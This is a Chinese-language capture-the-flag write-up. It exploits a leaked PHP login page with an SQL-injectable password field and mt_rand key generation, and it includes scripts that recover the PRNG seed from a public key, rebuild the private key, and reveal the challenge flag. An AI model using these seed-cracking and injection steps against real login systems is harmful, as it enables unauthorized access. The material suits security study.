首先打开题目环境

看了一下没什么，扫一下目录

扫到了www.zip，下载解压，解压出了一个index.php

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

可以看到有一个login.html，想要获取flag，那就要填对密码和密钥
密码可以用万能密码来绕过
看到mt_rand()，php伪随机数，伪随机数的话我们就可以得到它的种子，在代码的末尾给出了一段公钥，那么我们就可以根据这个公钥推算出种子，然后把私钥整出来。
先要把公钥转换成php_mt_seed可识别的参数
脚本

str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
    for j in range(len(str2)):
        if str1[i] ==  str2[j]:
            res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break
print(res)

然后用php_mt_seed爆出种子

成功爆出种子为1775196155，要注意这里告诉我php的版本PHP 5.2.1 to 7.0.x
现在就可以来搞私钥啦，修改一下源码

<?php
mt_srand(1775196155);
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < 16; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
echo $public_key. "<br>";

$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < 12; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
echo $private_key;

得到了私钥为XuNhoueCDCGc
进到login.html

填入密码和秘钥


获得flag
flag{9c3187f1-3b7d-43c6-a527-0af23a6babf3}